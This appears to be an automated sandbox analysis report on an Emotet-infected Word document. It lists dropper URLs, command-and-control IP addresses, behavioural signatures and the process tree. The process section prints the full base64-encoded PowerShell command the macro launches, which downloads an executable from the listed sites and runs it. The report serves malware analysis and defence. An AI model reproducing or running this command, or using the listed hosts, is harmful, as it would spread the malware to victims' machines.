Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    25/08/2020, 21:58

General

  • Target
    emotet_e3_0c8459409b1e0f3d477164523d9ecd93367c0b705ba36bab2f17804e95c2c8eb_2020-08-25__215727._doc.doc
  • Size 221KB
  • Sample200825-fn5fvpsd1e
  • SHA256 0c8459409b1e0f3d477164523d9ecd93367c0b705ba36bab2f17804e95c2c8eb
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://karaz-sd.com/admin/nlYFI/

  • exe.dropper

    http://king61tours.com/pdf/lwuqKsRgijhXw/

  • exe.dropper

    http://klusserviceboxtel.nl/components/IeWSnSt/

  • exe.dropper

    http://khaninterior.pk/cgi-bin/R6WGU11vhi10/

  • exe.dropper

    http://localnet.srv.br/wp-admin./rpu0cemhip55549/

  • exe.dropper

    http://dec-u-out.com/f3/9Ice18opp71335501/

  • exe.dropper

    http://thejewelcasino.com/back_end/agt22219/

Extracted

Family
  • emotet

C2
  • 82.239.200.118:80

  • 185.81.158.15:8080

  • 51.255.15.193:7080

  • 85.25.207.108:8080

  • 107.161.30.122:8080

  • 113.161.148.81:80

  • 74.208.173.91:8080

  • 139.59.12.63:8080

  • 188.0.135.237:80

  • 2.144.244.204:443

  • 87.106.231.60:8080

  • 181.137.229.1:80

  • 173.94.215.84:80

  • 175.29.183.2:80

  • 37.46.129.215:8080

  • 86.57.216.23:80

  • 181.126.54.234:80

  • 190.212.140.6:80

  • 46.105.131.68:8080

  • 190.190.15.20:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_0c8459409b1e0f3d477164523d9ecd93367c0b705ba36bab2f17804e95c2c8eb_2020-08-25__215727._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:616
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABTAG8AYgBhAHUANABwAD0AKAAnAEsAbgAnACsAKAAnADUAZAAnACsAJwA2AGQAYQAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVABlAG0AcABcAHcATwBSAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAEUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIASQBgAFQAeQBgAFAAYABSAGAAbwBgAFQAbwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACsAJwAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADEAJwArACcALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABIAGEAMQB5AHoAMABsACAAPQAgACgAJwBVACcAKwAnADQAJwArACgAJwBjAGoAJwArACcAZgA1AGwAeAAnACkAKQA7ACQARAB3AG4ANAB4AHUAdQA9ACgAKAAnAE8AYwAnACsAJwAxACcAKQArACgAJwA3AHYAJwArACcAaQAwACcAKQApADsAJABUADMAeQBsAG0AMABhAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBhACcAKwAnAGMAaQAnACsAKAAnAHcAbwByACcAKwAnAGQAJwApACsAKAAnAGEAYwAnACsAJwBpACcAKQArACcAMgAwACcAKwAoACcAMQA5ACcAKwAnAGEAYwBpACcAKQApACAAIAAtAGMAcgBlAFAAbABBAEMAZQAoAFsAQwBIAGEAUgBdADkANwArAFsAQwBIAGEAUgBdADkAOQArAFsAQwBIAGEAUgBdADEAMAA1ACkALABbAEMASABhAFIAXQA5ADIAKQArACQASABhADEAeQB6ADAAbAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFkANwBfAGUAOQA0AGcAPQAoACgAJwBDADgAJwArACcANwA3ACcAKwAnAGIAcAAnACkAKwAnADcAJwApADsAJABPAG4AdgA1AGEANQBlAD0AJgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcAZQBCAGMAbABJAGUAbgBUADsAJABQAGEAMwA4AG4AdABsAD0AKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AC8ALwBrAGEAJwArACcAcgBhACcAKQArACgAJwB6AC0AJwArACcAcwAnACkAKwAoACcAZAAnACsAJwAuAGMAJwArACcAbwBtAC8AYQBkAG0AaQAnACsAJwBuAC8AbgBsACcAKQArACgAJwBZAEYASQAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGsAJwArACcAaQBuACcAKQArACcAZwAnACsAKAAnADYAMQAnACsAJwB0AG8AdQByAHMAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwArACcALwBwAGQAZgAvACcAKwAnAGwAJwArACcAdwB1AHEASwAnACkAKwAoACcAcwBSACcAKwAnAGcAJwApACsAJwBpACcAKwAoACcAagBoACcAKwAnAFgAJwArACcAdwAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAJwArACcAOgAvACcAKwAnAC8AawBsAHUAcwBzAGUAcgAnACsAJwB2AGkAYwAnACkAKwAnAGUAJwArACgAJwBiACcAKwAnAG8AeAB0AGUAJwApACsAJwBsAC4AJwArACgAJwBuAGwALwAnACsAJwBjACcAKwAnAG8AbQBwACcAKwAnAG8AbgBlAG4AdAAnACkAKwAnAHMALwAnACsAJwBJAGUAJwArACgAJwBXAFMAJwArACcAbgBTACcAKQArACcAdAAnACsAJwAvACcAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AJwArACgAJwBrAGgAYQAnACsAJwBuAGkAbgAnACkAKwAoACcAdABlACcAKwAnAHIAJwApACsAJwBpAG8AJwArACgAJwByAC4AJwArACcAcAAnACkAKwAnAGsALwAnACsAJwBjAGcAJwArACgAJwBpAC0AJwArACcAYgAnACkAKwAoACcAaQBuAC8AUgAnACsAJwA2AFcAJwApACsAKAAnAEcAJwArACcAVQAxADEAJwApACsAJwB2ACcAKwAoACcAaAAnACsAJwBpADEAMAAnACkAKwAnAC8AKgAnACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAGwAbwBjACcAKQArACgAJwBhAGwAbgBlAHQALgBzAHIAJwArACcAdgAuAGIAJwArACcAcgAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhAGQAbQBpAG4ALgAvACcAKwAnAHIAcAB1ADAAJwApACsAJwBjACcAKwAnAGUAbQAnACsAKAAnAGgAaQBwACcAKwAnADUAJwApACsAKAAnADUANQA0ACcAKwAnADkALwAnACkAKwAoACcAKgBoAHQAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACgAJwBkAGUAYwAtAHUAJwArACcALQBvACcAKQArACgAJwB1AHQAJwArACcALgBjAG8AJwArACcAbQAvACcAKQArACgAJwBmADMAJwArACcALwA5ACcAKQArACgAJwBJACcAKwAnAGMAZQAnACkAKwAoACcAMQAnACsAJwA4AG8AcAAnACkAKwAoACcAcAA3ADEAJwArACcAMwAnACsAJwAzADUAJwApACsAKAAnADUAJwArACcAMAAxACcAKQArACgAJwAvACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AdAAnACkAKwAoACcAaABlAGoAZQB3AGUAbAAnACsAJwBjACcAKwAnAGEAcwAnACkAKwAoACcAaQBuAG8AJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACcALwBiACcAKwAnAGEAYwAnACkAKwAnAGsAJwArACcAXwAnACsAJwBlAG4AJwArACcAZAAvACcAKwAnAGEAZwAnACsAKAAnAHQAJwArACcAMgAyADIAMQAnACkAKwAnADkALwAnACkALgAiAFMAYABwAEwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBhAHEAZwBjADAAMwA9ACgAKAAnAEgAJwArACcAagBrACcAKQArACcAYgBsACcAKwAnADIAZwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABOAGYAZgAzAGQAOAB3ACAAaQBuACAAJABQAGEAMwA4AG4AdABsACkAewB0AHIAeQB7ACQATwBuAHYANQBhADUAZQAuACIAZABPAHcAbgBgAEwATwBgAEEARABgAEYASQBMAGUAIgAoACQATgBmAGYAMwBkADgAdwAsACAAJABUADMAeQBsAG0AMABhACkAOwAkAEMAOABpADkAbAB0AGMAPQAoACgAJwBMAG4AJwArACcAegAyAHkAeQAnACkAKwAnADQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAFQAMwB5AGwAbQAwAGEAKQAuACIAbABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIANwAyADQAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQAVAAzAHkAbABtADAAYQApADsAJABRAHMAdgAzADQAawBfAD0AKAAoACcARQA2AHkAcwAnACsAJwBmACcAKQArACcAegBtACcAKQA7AGIAcgBlAGEAawA7ACQASAA0AGUAaAA5ADMANgA9ACgAKAAnAEMAMgAnACsAJwB6AGoAYgAnACkAKwAnAGUAdwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUANgB6AGoAdwA0AGsAPQAoACcARwA1ACcAKwAoACcAZQB6ACcAKwAnAG8ANgBsACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:456
    • C:\Users\Admin\AppData\Local\Temp\word\2019\U4cjf5lx.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\U4cjf5lx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\SysWOW64\msexch40\authui.exe
        "C:\Windows\SysWOW64\msexch40\authui.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1620

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/456-13-0x000000001B8A0000-0x000000001B8A1000-memory.dmp

        memory/456-8-0x000007FEEA430000-0x000007FEEAE1C000-memory.dmp

        memory/456-10-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

        memory/456-11-0x0000000002650000-0x0000000002651000-memory.dmp

        memory/456-12-0x0000000002680000-0x0000000002681000-memory.dmp

        memory/456-9-0x0000000001F90000-0x0000000001F91000-memory.dmp

        memory/456-14-0x000000001B930000-0x000000001B931000-memory.dmp

        memory/616-5-0x000000000AF50000-0x000000000AF54000-memory.dmp

        memory/616-0-0x0000000000482000-0x0000000000486000-memory.dmp

        memory/616-2-0x0000000008B20000-0x0000000008B24000-memory.dmp

        memory/1620-21-0x0000000000430000-0x000000000043C000-memory.dmp

        memory/1792-17-0x00000000003D0000-0x00000000003DC000-memory.dmp

        memory/1956-22-0x000007FEEABA0000-0x000007FEEAE1A000-memory.dmp